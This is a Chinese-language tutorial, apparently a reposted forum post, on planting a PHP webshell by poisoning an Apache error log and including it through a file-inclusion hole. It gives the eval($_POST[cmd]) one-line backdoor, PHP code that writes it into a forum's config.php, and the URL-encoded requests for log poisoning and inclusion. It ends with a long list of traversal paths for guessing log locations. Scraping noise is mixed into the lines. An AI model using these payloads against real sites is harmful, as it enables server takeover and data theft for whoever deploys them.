php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
) k) K% `. ]! G/ b( {' `
' X# A  o2 \2 C, `- s  h7 D比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

; X0 H# Q3 u- W到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
& O( @+ w! O! K/ ]( I" x& C7 S
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
+ L8 S" ~8 l9 V/ G: t
- A; G( H  R1 f' [我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
. A" _# v8 @# N* h! U& h( _%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
7 B. M" h: {& _( G6 Econfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
, a, Z2 n1 X/ A1 i2 t& y1 m. d我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
; D$ ]' [( |; o' E- D. X) H2 x%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
/ F% a% L. `  Z; Ocmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
9 p( a: _% Z$ s6 w; h
6 C4 S9 g+ E  G& u7 c. t9 L这样就错误日志里就记录下了这行写入webshell的代码。
2 Y& P3 q# P' Z/ e. j0 _3 |3 i, Z  C我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 O( z7 n  C8 ~) N$ \5 U9 J, Z
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
" u! z4 I  \' k6 F0 ?# W, X4 E; W# I
其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
+ Q& l% }0 z; d- R- V../../../../../../../../../../var/log/httpd/error_log
. Z8 E) j' p" K' @" m../apache/logs/error.log
../apache/logs/access.log
6 ^" c* Q$ S' h' u../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
2 r, h% I9 Z7 h( ^# C+ g5 m8 Q../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
  L- o2 n6 O* o1 ~$ M9 c# w; k../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
. n# t) ?5 z& z! E/ K, d: t1 e../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
5 x7 ^& c5 `* V9 ~# f, N2 s  s../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
5 c6 R/ [: f$ Y" `& P/ v, Z) p../../../../../../../../../../usr/local/apache/logs/error_log
" i0 p" @4 U+ _$ J../../../../../../../../../../usr/local/apache/logs/error.log
- T& ?: {& J! V! b! d7 ~5 C../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
0 f. M( |/ \4 J" Z9 x../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
7 ?: h" P% x1 ~% T% m, I../apache/logs/error.log     
0 o3 G) ]5 q0 V../apache/logs/access.log
../../apache/logs/error.log
4 |& `: J  f9 @../../apache/logs/access.log
" g( h) U8 q$ h& [( t../../../apache/logs/error.log
  I5 D8 j+ }/ b. w* n7 j../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
5 o3 K6 \% w$ P6 ^  l  y/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
* U' F" u3 ^+ w; w( r- z/var/www/logs/access.log
, \( A+ C; q& L$ N5 r/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
+ X- ^0 [" a# l2 m- V/var/log/apache/access.log
/var/log/access_log
% c7 H; y1 C+ P5 e: V/var/www/logs/error_log
/var/www/logs/error.log
& E9 M% n# H7 k( J0 B/usr/local/apache/logs/error_log
1 {: M: E7 j) @& x4 w/usr/local/apache/logs/error.log
/var/log/apache/error_log
  @4 R, X# \; Q$ O7 Z" F/var/log/apache/error.log
6 V! Q6 c3 p9 p0 j+ K/var/log/access_log
/var/log/error_log